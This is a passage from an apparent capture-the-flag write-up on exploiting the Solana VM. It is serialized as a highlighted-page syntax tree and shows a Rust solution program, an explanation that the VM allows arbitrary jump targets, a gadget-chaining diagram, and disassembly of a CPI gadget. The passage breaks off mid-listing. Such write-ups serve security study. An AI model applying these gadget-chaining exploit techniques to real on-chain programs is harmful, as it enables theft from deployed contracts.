},\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[42650],{"type":23,"tag":92,"props":42651,"children":42652},{"__ignoreMap":7},[42653,42673,42697,42725,42753,42773,42809,42845,42852,42860,42893,42910,42935,42956,43008,43033,43040,43053,43099,43143,43151,43159,43170,43186,43197,43217,43237,43244,43280,43295,43302,43310,43389,43396,43407],{"type":23,"tag":134,"props":42654,"children":42655},{"class":136,"line":137},[42656,42660,42664,42669],{"type":23,"tag":134,"props":42657,"children":42658},{"style":151},[42659],{"type":28,"value":13158},{"type":23,"tag":134,"props":42661,"children":42662},{"style":151},[42663],{"type":28,"value":13163},{"type":23,"tag":134,"props":42665,"children":42666},{"style":264},[42667],{"type":28,"value":42668}," process_instruction",{"type":23,"tag":134,"props":42670,"children":42671},{"style":179},[42672],{"type":28,"value":642},{"type":23,"tag":134,"props":42674,"children":42675},{"class":136,"line":147},[42676,42681,42685,42689,42693],{"type":23,"tag":134,"props":42677,"children":42678},{"style":162},[42679],{"type":28,"value":42680},"    program_id",{"type":23,"tag":134,"props":42682,"children":42683},{"style":168},[42684],{"type":28,"value":1697},{"type":23,"tag":134,"props":42686,"children":42687},{"style":168},[42688],{"type":28,"value":6599},{"type":23,"tag":134,"props":42690,"children":42691},{"style":597},[42692],{"type":28,"value":20876},{"type":23,"tag":134,"props":42694,"children":42695},{"style":179},[42696],{"type":28,"value":687},{"type":23,"tag":134,"props":42698,"children":42699},{"class":136,"line":185},[42700,42705,42709,42713,42717,42721],{"type":23,"tag":134,"props":42701,"children":42702},{"style":162},[42703],{"type":28,"value":42704},"    accounts",{"type":23,"tag":134,"props":42706,"children":42707},{"style":168},[42708],{"type":28,"value":1697},{"type":23,"tag":134,"props":42710,"children":42711},{"style":168},[42712],{"type":28,"value":6599},{"type":23,"tag":134,"props":42714,"children":42715},{"style":179},[42716],{"type":28,"value":924},{"type":23,"tag":134,"props":42718,"children":42719},{"style":597},[42720],{"type":28,"value":14407},{"type":23,"tag":134,"props":42722,"children":42723},{"style":179},[42724],{"type":28,"value":13731},{"type":23,"tag":134,"props":42726,"children":42727},{"class":136,"line":221},[42728,42733,42737,42741,42745,42749],{"type":23,"tag":134,"props":42729,"children":42730},{"style":162},[42731],{"type":28,"value":42732},"    data",{"type":23,"tag":134,"props":42734,"children":42735},{"style":168},[42736],{"type":28,"value":1697},{"type":23,"tag":134,"props":42738,"children":42739},{"style":168},[42740],{"type":28,"value":6599},{"type":23,"tag":134,"props":42742,"children":42743},{"style":179},[42744],{"type":28,"value":924},{"type":23,"tag":134,"props":42746,"children":42747},{"style":597},[42748],{"type":28,"value":600},{"type":23,"tag":134,"props":42750,"children":42751},{"style":179},[42752],{"type":28,"value":11239},{"type":23,"tag":134,"props":42754,"children":42755},{"class":136,"line":332},[42756,42760,42764,42769],{"type":23,"tag":134,"props":42757,"children":42758},{"style":179},[42759],{"type":28,"value":252},{"type":23,"tag":134,"props":42761,"children":42762},{"style":168},[42763],{"type":28,"value":13225},{"type":23,"tag":134,"props":42765,"children":42766},{"style":597},[42767],{"type":28,"value":42768}," ProgramResult",{"type":23,"tag":134,"props":42770,"children":42771},{"style":179},[42772],{"type":28,"value":463},{"type":23,"tag":134,"props":42774,"children":42775},{"class":136,"line":438},[42776,42780,42785,42789,42793,42797,42801,42805],{"type":23,"tag":134,"props":42777,"children":42778},{"style":151},[42779],{"type":28,"value":154},{"type":23,"tag":134,"props":42781,"children":42782},{"style":162},[42783],{"type":28,"value":42784}," flag_pda_ai",{"type":23,"tag":134,"props":42786,"children":42787},{"style":168},[42788],{"type":28,"value":171},{"type":23,"tag":134,"props":42790,"children":42791},{"style":168},[42792],{"type":28,"value":6599},{"type":23,"tag":134,"props":42794,"children":42795},{"style":162},[42796],{"type":28,"value":14143},{"type":23,"tag":134,"props":42798,"children":42799},{"style":179},[42800],{"type":28,"value":924},{"type":23,"tag":134,"props":42802,"children":42803},{"style":205},[42804],{"type":28,"value":1224},{"type":23,"tag":134,"props":42806,"children":42807},{"style":179},[42808],{"type":28,"value":31069},{"type":23,"tag":134,"props":42810,"children":42811},{"class":136,"line":466},[42812,42816,42821,42825,42829,42833,42837,42841],{"type":23,"tag":134,"props":42813,"children":42814},{"style":151},[42815],{"type":28,"value":154},{"type":23,"tag":134,"props":42817,"children":42818},{"style":162},[42819],{"type":28,"value":42820}," user_ai",{"type":23,"tag":134,"props":42822,"children":42823},{"style":168},[42824],{"type":28,"value":171},{"type":23,"tag":134,"props":42826,"children":42827},{"style":168},[42828],{"type":28,"value":6599},{"type":23,"tag":134,"props":42830,"children":42831},{"style":162},[42832],{"type":28,"value":14143},{"type":23,"tag":134,"props":42834,"children":42835},{"style":179},[42836],{"type":28,"value":924},{"type":23,"tag":134,"props":42838,"children":42839},{"style":205},[42840],{"type":28,"value":1214},{"type":23,"tag":134,"props":42842,"children":42843},{"style":179},[42844],{"type":28,"value":31069},{"type":23,"tag":134,"props":42846,"children":42847},{"class":136,"line":479},[42848],{"type":23,"tag":134,"props":42849,"children":42850},{"emptyLinePlaceholder":15},[42851],{"type":28,"value":865},{"type":23,"tag":134,"props":42853,"children":42854},{"class":136,"line":497},[42855],{"type":23,"tag":134,"props":42856,"children":42857},{"style":141},[42858],{"type":28,"value":42859},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":134,"props":42861,"children":42862},{"class":136,"line":518},[42863,42867,42872,42876,42880,42884,42889],{"type":23,"tag":134,"props":42864,"children":42865},{"style":151},[42866],{"type":28,"value":154},{"type":23,"tag":134,"props":42868,"children":42869},{"style":162},[42870],{"type":28,"value":42871}," instruction",{"type":23,"tag":134,"props":42873,"children":42874},{"style":168},[42875],{"type":28,"value":171},{"type":23,"tag":134,"props":42877,"children":42878},{"style":597},[42879],{"type":28,"value":40511},{"type":23,"tag":134,"props":42881,"children":42882},{"style":168},[42883],{"type":28,"value":660},{"type":23,"tag":134,"props":42885,"children":42886},{"style":264},[42887],{"type":28,"value":42888},"new_with_bincode",{"type":23,"tag":134,"props":42890,"children":42891},{"style":179},[42892],{"type":28,"value":642},{"type":23,"tag":134,"props":42894,"children":42895},{"class":136,"line":527},[42896,42901,42905],{"type":23,"tag":134,"props":42897,"children":42898},{"style":179},[42899],{"type":28,"value":42900},"        system_program",{"type":23,"tag":134,"props":42902,"children":42903},{"style":168},[42904],{"type":28,"value":660},{"type":23,"tag":134,"props":42906,"children":42907},{"style":179},[42908],{"type":28,"value":42909},"ID,\n",{"type":23,"tag":134,"props":42911,"children":42912},{"class":136,"line":780},[42913,42917,42922,42926,42931],{"type":23,"tag":134,"props":42914,"children":42915},{"style":168},[42916],{"type":28,"value":650},{"type":23,"tag":134,"props":42918,"children":42919},{"style":179},[42920],{"type":28,"value":42921},"SystemInstruction",{"type":23,"tag":134,"props":42923,"children":42924},{"style":168},[42925],{"type":28,"value":660},{"type":23,"tag":134,"props":42927,"children":42928},{"style":597},[42929],{"type":28,"value":42930},"CreateAccount",{"type":23,"tag":134,"props":42932,"children":42933},{"style":179},[42934],{"type":28,"value":463},{"type":23,"tag":134,"props":42936,"children":42937},{"class":136,"line":797},[42938,42943,42947,42952],{"type":23,"tag":134,"props":42939,"children":42940},{"style":162},[42941],{"type":28,"value":42942},"            space",{"type":23,"tag":134,"props":42944,"children":42945},{"style":168},[42946],{"type":28,"value":1697},{"type":23,"tag":134,"props":42948,"children":42949},{"style":205},[42950],{"type":28,"value":42951}," 0x1337",{"type":23,"tag":134,"props":42953,"children":42954},{"style":179},[42955],{"type":28,"value":687},{"type":23,"tag":134,"props":42957,"children":42958},{"class":136,"line":814},[42959,42964,42968,42973,42977,42982,42986,42990,42995,42999,43004],{"type":23,"tag":134,"props":42960,"children":42961},{"style":162},[42962],{"type":28,"value":42963},"            lamports",{"type":23,"tag":134,"props":42965,"children":42966},{"style":168},[42967],{"type":28,"value":1697},{"type":23,"tag":134,"props":42969,"children":42970},{"style":179},[42971],{"type":28,"value":42972}," Rent",{"type":23,"tag":134,"props":42974,"children":42975},{"style":168},[42976],{"type":28,"value":660},{"type":23,"tag":134,"props":42978,"children":42979},{"style":264},[42980],{"type":28,"value":42981},"default",{"type":23,"tag":134,"props":42983,"children":42984},{"style":179},[42985],{"type":28,"value":13347},{"type":23,"tag":134,"props":42987,"children":42988},{"style":168},[42989],{"type":28,"value":720},{"type":23,"tag":134,"props":42991,"children":42992},{"style":264},[42993],{"type":28,"value":42994},"minimum_balance",{"type":23,"tag":134,"props":42996,"children":42997},{"style":179},[42998],{"type":28,"value":272},{"type":23,"tag":134,"props":43000,"children":43001},{"style":205},[43002],{"type":28,"value":43003},"0x1337",{"type":23,"tag":134,"props":43005,"children":43006},{"style":179},[43007],{"type":28,"value":6194},{"type":23,"tag":134,"props":43009,"children":43010},{"class":136,"line":827},[43011,43016,43020,43024,43028],{"type":23,"tag":134,"props":43012,"children":43013},{"style":162},[43014],{"type":28,"value":43015},"            owner",{"type":23,"tag":134,"props":43017,"children":43018},{"style":168},[43019],{"type":28,"value":1697},{"type":23,"tag":134,"props":43021,"children":43022},{"style":179},[43023],{"type":28,"value":41543},{"type":23,"tag":134,"props":43025,"children":43026},{"style":168},[43027],{"type":28,"value":660},{"type":23,"tag":134,"props":43029,"children":43030},{"style":179},[43031],{"type":28,"value":43032},"ID\n",{"type":23,"tag":134,"props":43034,"children":43035},{"class":136,"line":836},[43036],{"type":23,"tag":134,"props":43037,"children":43038},{"style":179},[43039],{"type":28,"value":24864},{"type":23,"tag":134,"props":43041,"children":43042},{"class":136,"line":859},[43043,43048],{"type":23,"tag":134,"props":43044,"children":43045},{"style":264},[43046],{"type":28,"value":43047},"        vec!",{"type":23,"tag":134,"props":43049,"children":43050},{"style":179},[43051],{"type":28,"value":43052},"[\n",{"type":23,"tag":134,"props":43054,"children":43055},{"class":136,"line":868},[43056,43061,43065,43069,43073,43077,43082,43086,43091,43095],{"type":23,"tag":134,"props":43057,"children":43058},{"style":179},[43059],{"type":28,"value":43060},"            AccountMeta",{"type":23,"tag":134,"props":43062,"children":43063},{"style":168},[43064],{"type":28,"value":660},{"type":23,"tag":134,"props":43066,"children":43067},{"style":264},[43068],{"type":28,"value":14591},{"type":23,"tag":134,"props":43070,"children":43071},{"style":179},[43072],{"type":28,"value":272},{"type":23,"tag":134,"props":43074,"children":43075},{"style":168},[43076],{"type":28,"value":1777},{"type":23,"tag":134,"props":43078,"children":43079},{"style":162},[43080],{"type":28,"value":43081},"user_ai",{"type":23,"tag":134,"props":43083,"children":43084},{"style":168},[43085],{"type":28,"value":720},{"type":23,"tag":134,"props":43087,"children":43088},{"style":179},[43089],{"type":28,"value":43090},"key, ",{"type":23,"tag":134,"props":43092,"children":43093},{"style":151},[43094],{"type":28,"value":1195},{"type":23,"tag":134,"props":43096,"children":43097},{"style":179},[43098],{"type":28,"value":6194},{"type":23,"tag":134,"props":43100,"children":43101},{"class":136,"line":877},[43102,43106,43110,43114,43118,43122,43127,43131,43135,43139],{"type":23,"tag":134,"props":43103,"children":43104},{"style":179},[43105],{"type":28,"value":43060},{"type":23,"tag":134,"props":43107,"children":43108},{"style":168},[43109],{"type":28,"value":660},{"type":23,"tag":134,"props":43111,"children":43112},{"style":264},[43113],{"type":28,"value":14591},{"type":23,"tag":134,"props":43115,"children":43116},{"style":179},[43117],{"type":28,"value":272},{"type":23,"tag":134,"props":43119,"children":43120},{"style":168},[43121],{"type":28,"value":1777},{"type":23,"tag":134,"props":43123,"children":43124},{"style":162},[43125],{"type":28,"value":43126},"flag_pda_ai",{"type":23,"tag":134,"props":43128,"children":43129},{"style":168},[43130],{"type":28,"value":720},{"type":23,"tag":134,"props":43132,"children":43133},{"style":179},[43134],{"type":28,"value":43090},{"type":23,"tag":134,"props":43136,"children":43137},{"style":151},[43138],{"type":28,"value":1195},{"type":23,"tag":134,"props":43140,"children":43141},{"style":179},[43142],{"type":28,"value":6194},{"type":23,"tag":134,"props":43144,"children":43145},{"class":136,"line":946},[43146],{"type":23,"tag":134,"props":43147,"children":43148},{"style":179},[43149],{"type":28,"value":43150},"        ],\n",{"type":23,"tag":134,"props":43152,"children":43153},{"class":136,"line":954},[43154],{"type":23,"tag":134,"props":43155,"children":43156},{"style":179},[43157],{"type":28,"value":43158},"    );\n",{"type":23,"tag":134,"props":43160,"children":43161},{"class":136,"line":984},[43162,43166],{"type":23,"tag":134,"props":43163,"children":43164},{"style":264},[43165],{"type":28,"value":40628},{"type":23,"tag":134,"props":43167,"children":43168},{"style":179},[43169],{"type":28,"value":642},{"type":23,"tag":134,"props":43171,"children":43172},{"class":136,"line":992},[43173,43177,43182],{"type":23,"tag":134,"props":43174,"children":43175},{"style":168},[43176],{"type":28,"value":650},{"type":23,"tag":134,"props":43178,"children":43179},{"style":162},[43180],{"type":28,"value":43181},"instruction",{"type":23,"tag":134,"props":43183,"children":43184},{"style":179},[43185],{"type":28,"value":687},{"type":23,"tag":134,"props":43187,"children":43188},{"class":136,"line":1024},[43189,43193],{"type":23,"tag":134,"props":43190,"children":43191},{"style":168},[43192],{"type":28,"value":650},{"type":23,"tag":134,"props":43194,"children":43195},{"style":179},[43196],{"type":28,"value":43052},{"type":23,"tag":134,"props":43198,"children":43199},{"class":136,"line":1032},[43200,43205,43209,43213],{"type":23,"tag":134,"props":43201,"children":43202},{"style":162},[43203],{"type":28,"value":43204},"            user_ai",{"type":23,"tag":134,"props":43206,"children":43207},{"style":168},[43208],{"type":28,"value":720},{"type":23,"tag":134,"props":43210,"children":43211},{"style":264},[43212],{"type":28,"value":14889},{"type":23,"tag":134,"props":43214,"children":43215},{"style":179},[43216],{"type":28,"value":670},{"type":23,"tag":134,"props":43218,"children":43219},{"class":136,"line":1092},[43220,43225,43229,43233],{"type":23,"tag":134,"props":43221,"children":43222},{"style":162},[43223],{"type":28,"value":43224},"            flag_pda_ai",{"type":23,"tag":134,"props":43226,"children":43227},{"style":168},[43228],{"type":28,"value":720},{"type":23,"tag":134,"props":43230,"children":43231},{"style":264},[43232],{"type":28,"value":14889},{"type":23,"tag":134,"props":43234,"children":43235},{"style":179},[43236],{"type":28,"value":670},{"type":23,"tag":134,"props":43238,"children":43239},{"class":136,"line":8508},[43240],{"type":23,"tag":134,"props":43241,"children":43242},{"style":179},[43243],{"type":28,"value":43150},{"type":23,"tag":134,"props":43245,"children":43246},{"class":136,"line":8526},[43247,43251,43255,43259,43263,43267,43271,43275],{"type":23,"tag":134,"props":43248,"children":43249},{"style":168},[43250],{"type":28,"value":650},{"type":23,"tag":134,"props":43252,"children":43253},{"style":179},[43254],{"type":28,"value":924},{"type":23,"tag":134,"props":43256,"children":43257},{"style":168},[43258],{"type":28,"value":277},{"type":23,"tag":134,"props":43260,"children":43261},{"style":179},[43262],{"type":28,"value":924},{"type":23,"tag":134,"props":43264,"children":43265},{"style":1461},[43266],{"type":28,"value":42123},{"type":23,"tag":134,"props":43268,"children":43269},{"style":168},[43270],{"type":28,"value":720},{"type":23,"tag":134,"props":43272,"children":43273},{"style":264},[43274],{"type":28,"value":42132},{"type":23,"tag":134,"props":43276,"children":43277},{"style":179},[43278],{"type":28,"value":43279},"()]],\n",{"type":23,"tag":134,"props":43281,"children":43282},{"class":136,"line":8571},[43283,43287,43291],{"type":23,"tag":134,"props":43284,"children":43285},{"style":179},[43286],{"type":28,"value":842},{"type":23,"tag":134,"props":43288,"children":43289},{"style":168},[43290],{"type":28,"value":324},{"type":23,"tag":134,"props":43292,"children":43293},{"style":179},[43294],{"type":28,"value":182},{"type":23,"tag":134,"props":43296,"children":43297},{"class":136,"line":8677},[43298],{"type":23,"tag":134,"props":43299,"children":43300},{"emptyLinePlaceholder":15},[43301],{"type":28,"value":865},{"type":23,"tag":134,"props":43303,"children":43304},{"class":136,"line":22988},[43305],{"type":23,"tag":134,"props":43306,"children":43307},{"style":141},[43308],{"type":28,"value":43309},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":134,"props":43311,"children":43312},{"class":136,"line":23023},[43313,43318,43322,43326,43330,43334,43338,43342,43346,43350,43354,43359,43363,43367,43372,43376,43380,43385],{"type":23,"tag":134,"props":43314,"children":43315},{"style":162},[43316],{"type":28,"value":43317},"    flag_pda_ai",{"type":23,"tag":134,"props":43319,"children":43320},{"style":168},[43321],{"type":28,"value":720},{"type":23,"tag":134,"props":43323,"children":43324},{"style":264},[43325],{"type":28,"value":13342},{"type":23,"tag":134,"props":43327,"children":43328},{"style":179},[43329],{"type":28,"value":13347},{"type":23,"tag":134,"props":43331,"children":43332},{"style":168},[43333],{"type":28,"value":324},{"type":23,"tag":134,"props":43335,"children":43336},{"style":179},[43337],{"type":28,"value":924},{"type":23,"tag":134,"props":43339,"children":43340},{"style":168},[43341],{"type":28,"value":213},{"type":23,"tag":134,"props":43343,"children":43344},{"style":205},[43345],{"type":28,"value":1278},{"type":23,"tag":134,"props":43347,"children":43348},{"style":179},[43349],{"type":28,"value":14880},{"type":23,"tag":134,"props":43351,"children":43352},{"style":168},[43353],{"type":28,"value":720},{"type":23,"tag":134,"props":43355,"children":43356},{"style":264},[43357],{"type":28,"value":43358},"copy_from_slice",{"type":23,"tag":134,"props":43360,"children":43361},{"style":179},[43362],{"type":28,"value":272},{"type":23,"tag":134,"props":43364,"children":43365},{"style":168},[43366],{"type":28,"value":277},{"type":23,"tag":134,"props":43368,"children":43369},{"style":205},[43370],{"type":28,"value":43371},"0x4337",{"type":23,"tag":134,"props":43373,"children":43374},{"style":597},[43375],{"type":28,"value":7501},{"type":23,"tag":134,"props":43377,"children":43378},{"style":168},[43379],{"type":28,"value":720},{"type":23,"tag":134,"props":43381,"children":43382},{"style":264},[43383],{"type":28,"value":43384},"to_le_bytes",{"type":23,"tag":134,"props":43386,"children":43387},{"style":179},[43388],{"type":28,"value":14894},{"type":23,"tag":134,"props":43390,"children":43391},{"class":136,"line":23031},[43392],{"type":23,"tag":134,"props":43393,"children":43394},{"emptyLinePlaceholder":15},[43395],{"type":28,"value":865},{"type":23,"tag":134,"props":43397,"children":43398},{"class":136,"line":23039},[43399,43403],{"type":23,"tag":134,"props":43400,"children":43401},{"style":597},[43402],{"type":28,"value":13801},{"type":23,"tag":134,"props":43404,"children":43405},{"style":179},[43406],{"type":28,"value":13806},{"type":23,"tag":134,"props":43408,"children":43409},{"class":136,"line":23048},[43410],{"type":23,"tag":134,"props":43411,"children":43412},{"style":179},[43413],{"type":28,"value":1098},{"type":23,"tag":24,"props":43415,"children":43416},{},[43417],{"type":28,"value":43418},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":43420,"children":43421},{},[43422],{"type":23,"tag":1116,"props":43423,"children":43426},{"alt":43424,"src":43425},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":43428,"children":43429},{},[43430],{"type":28,"value":43431},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":61,"props":43433,"children":43435},{"id":43434},"solution-implementation",[43436],{"type":28,"value":43437},"Solution Implementation",{"type":23,"tag":24,"props":43439,"children":43440},{},[43441,43443,43448],{"type":28,"value":43442},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":92,"props":43444,"children":43446},{"className":43445},[],[43447],{"type":28,"value":35179},{"type":28,"value":43449}," invocations:",{"type":23,"tag":87,"props":43451,"children":43455},{"className":43452,"code":43453,"language":43454,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[43456],{"type":23,"tag":92,"props":43457,"children":43458},{"__ignoreMap":7},[43459,43467,43475,43483,43491,43499,43507],{"type":23,"tag":134,"props":43460,"children":43461},{"class":136,"line":137},[43462],{"type":23,"tag":134,"props":43463,"children":43464},{},[43465],{"type":28,"value":43466},"graph LR\n",{"type":23,"tag":134,"props":43468,"children":43469},{"class":136,"line":147},[43470],{"type":23,"tag":134,"props":43471,"children":43472},{},[43473],{"type":28,"value":43474},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":134,"props":43476,"children":43477},{"class":136,"line":185},[43478],{"type":23,"tag":134,"props":43479,"children":43480},{},[43481],{"type":28,"value":43482},"    B --> C[2: process]\n",{"type":23,"tag":134,"props":43484,"children":43485},{"class":136,"line":221},[43486],{"type":23,"tag":134,"props":43487,"children":43488},{},[43489],{"type":28,"value":43490},"    C --> D[3: gadget1]\n",{"type":23,"tag":134,"props":43492,"children":43493},{"class":136,"line":332},[43494],{"type":23,"tag":134,"props":43495,"children":43496},{},[43497],{"type":28,"value":43498},"    C --> E[3: process]\n",{"type":23,"tag":134,"props":43500,"children":43501},{"class":136,"line":438},[43502],{"type":23,"tag":134,"props":43503,"children":43504},{},[43505],{"type":28,"value":43506},"    E --> F[4: gadget2]\n",{"type":23,"tag":134,"props":43508,"children":43509},{"class":136,"line":466},[43510],{"type":23,"tag":134,"props":43511,"children":43512},{},[43513],{"type":28,"value":43514},"    E --> G[...]\n",{"type":23,"tag":24,"props":43516,"children":43517},{},[43518],{"type":28,"value":43519},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":43521,"children":43522},{},[43523,43525,43531],{"type":28,"value":43524},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":31,"props":43526,"children":43528},{"href":39986,"rel":43527},[35],[43529],{"type":28,"value":43530},"Binary Ninja",{"type":28,"value":43532}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":43534,"children":43535},{},[43536,43538,43545],{"type":28,"value":43537},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":31,"props":43539,"children":43542},{"href":43540,"rel":43541},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[35],[43543],{"type":28,"value":43544},"skip the strip pass",{"type":28,"value":720},{"type":23,"tag":9072,"props":43547,"children":43549},{"id":43548},"cpi-gadget",[43550],{"type":28,"value":43551},"CPI Gadget",{"type":23,"tag":24,"props":43553,"children":43554},{},[43555,43557,43562,43564,43571,43573,43579],{"type":28,"value":43556},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":92,"props":43558,"children":43560},{"className":43559},[],[43561],{"type":28,"value":37794},{"type":28,"value":43563}," function. This function calls into the solana sdk's function ",{"type":23,"tag":31,"props":43565,"children":43568},{"href":43566,"rel":43567},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[35],[43569],{"type":28,"value":43570},"invoke_signed_unchecked",{"type":28,"value":43572},", yielding a powerful gadget at the address ",{"type":23,"tag":92,"props":43574,"children":43576},{"className":43575},[],[43577],{"type":28,"value":43578},"0x100001ba8",{"type":28,"value":720},{"type":23,"tag":87,"props":43581,"children":43583},{"className":128,"code":43582,"language":127,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[43584],{"type":23,"tag":92,"props":43585,"children":43586},{"__ignoreMap":7},[43587,43612,43668,43719,43771,43823,43846,43894,43901,43933,43984,44042,44076,44083,44132,44162,44237,44244,44295,44341,44348,44379,44430,44460,44482,44489,44540,44585,44592,44643,44671,44692,44699],{"type":23,"tag":134,"props":43588,"children":43589},{"class":136,"line":137},[43590,43594,43598,43603,43607],{"type":23,"tag":134,"props":43591,"children":43592},{"style":179},[43593],{"type":28,"value":13121},{"type":23,"tag":134,"props":43595,"children":43596},{"style":168},[43597],{"type":28,"value":660},{"type":23,"tag":134,"props":43599,"children":43600},{"style":179},[43601],{"type":28,"value":43602},"program",{"type":23,"tag":134,"props":43604,"children":43605},{"style":168},[43606],{"type":28,"value":660},{"type":23,"tag":134,"props":43608,"children":43609},{"style":162},[43610],{"type":28,"value":43611},"invoke_signed_unchecked\n",{"type":23,"tag":134,"props":43613,"children":43614},{"class":136,"line":147},[43615,43620,43625,43630,43635,43640,43645,43649,43654,43659,43664],{"type":23,"tag":134,"props":43616,"children":43617},{"style":162},[43618],{"type":28,"value":43619},"100001ba8",{"type":23,"tag":134,"props":43621,"children":43622},{"style":162},[43623],{"type":28,"value":43624},"  79a278ff00000000",{"type":23,"tag":134,"props":43626,"children":43627},{"style":162},[43628],{"type":28,"value":43629},"   ldxdw",{"type":23,"tag":134,"props":43631,"children":43632},{"style":162},[43633],{"type":28,"value":43634}," r2",{"type":23,"tag":134,"props":43636,"children":43637},{"style":179},[43638],{"type":28,"value":43639},", [",{"type":23,"tag":134,"props":43641,"children":43642},{"style":162},[43643],{"type":28,"value":43644},"r10",{"type":23,"tag":134,"props":43646,"children":43647},{"style":168},[43648],{"type":28,"value":1532},{"type":23,"tag":134,"props":43650,"children":43651},{"style":205},[43652],{"type":28,"value":43653},"136",{"type":23,"tag":134,"props":43655,"children":43656},{"style":179},[43657],{"type":28,"value":43658},"] {",{"type":23,"tag":134,"props":43660,"children":43661},{"style":162},[43662],{"type":28,"value":43663},"var_88",{"type":23,"tag":134,"props":43665,"children":43666},{"style":179},[43667],{"type":28,"value":1098},{"type":23,"tag":134,"props":43669,"children":43670},{"class":136,"line":185},[43671,43676,43681,43685,43690,43694,43698,43702,43706,43710,43715],{"type":23,"tag":134,"props":43672,"children":43673},{"style":162},[43674],{"type":28,"value":43675},"100001bb0",{"type":23,"tag":134,"props":43677,"children":43678},{"style":162},[43679],{"type":28,"value":43680},"  79a380ff00000000",{"type":23,"tag":134,"props":43682,"children":43683},{"style":162},[43684],{"type":28,"value":43629},{"type":23,"tag":134,"props":43686,"children":43687},{"style":162},[43688],{"type":28,"value":43689}," r3",{"type":23,"tag":134,"props":43691,"children":43692},{"style":179},[43693],{"type":28,"value":43639},{"type":23,"tag":134,"props":43695,"children":43696},{"style":162},[43697],{"type":28,"value":43644},{"type":23,"tag":134,"props":43699,"children":43700},{"style":168},[43701],{"type":28,"value":1532},{"type":23,"tag":134,"props":43703,"children":43704},{"style":205},[43705],{"type":28,"value":29341},{"type":23,"tag":134,"props":43707,"children":43708},{"style":179},[43709],{"type":28,"value":43658},{"type":23,"tag":134,"props":43711,"children":43712},{"style":162},[43713],{"type":28,"value":43714},"var_80",{"type":23,"tag":134,"props":43716,"children":43717},{"style":179},[43718],{"type":28,"value":1098},{"type":23,"tag":134,"props":43720,"children":43721},{"class":136,"line":221},[43722,43727,43732,43736,43741,43745,43749,43753,43758,43762,43767],{"type":23,"tag":134,"props":43723,"children":43724},{"style":162},[43725],{"type":28,"value":43726},"100001bb8",{"type":23,"tag":134,"props":43728,"children":43729},{"style":162},[43730],{"type":28,"value":43731},"  79a468ff00000000",{"type":23,"tag":134,"props":43733,"children":43734},{"style":162},[43735],{"type":28,"value":43629},{"type":23,"tag":134,"props":43737,"children":43738},{"style":162},[43739],{"type":28,"value":43740}," 